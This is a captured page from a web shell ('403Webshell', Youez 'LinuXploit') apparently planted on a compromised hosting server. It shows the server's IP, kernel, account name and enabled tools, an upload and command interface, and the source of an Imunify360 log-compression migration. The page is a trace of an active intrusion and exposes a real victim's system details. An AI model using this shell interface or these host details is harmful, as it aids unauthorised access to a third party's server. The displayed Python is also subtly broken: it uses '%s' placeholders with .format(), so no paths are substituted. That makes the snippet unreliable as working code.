403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.137.189.32
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/migrations/091_compress_old_logs.py
import logging
import shutil
import gzip
import os

from defence360agent.contracts.config import Logger
from defence360agent.internals.logger import get_log_file_names

logger = logging.getLogger(__name__)


def migrate(migrator, database, fake=False, **kwargs):
    for filename in get_log_file_names():
        for i in range(1, Logger.BACKUP_COUNT + 1):
            source = "%s.%d".format(filename, i)
            dest = "%s.gz".format(source)
            try:
                if os.path.exists(source):
                    with open(source, "rb") as f_in, gzip.open(
                        dest, "wb"
                    ) as f_out:
                        shutil.copyfileobj(f_in, f_out)
                    os.remove(source)
            except Exception as e:
                logger.exception(
                    "Failed file %s compression with %s", source, e
                )


def rollback(migrator, database, fake=False, **kwargs):
    """Write your rollback migrations here."""
    pass

Youez - 2016 - github.com/yon3zu
LinuXploit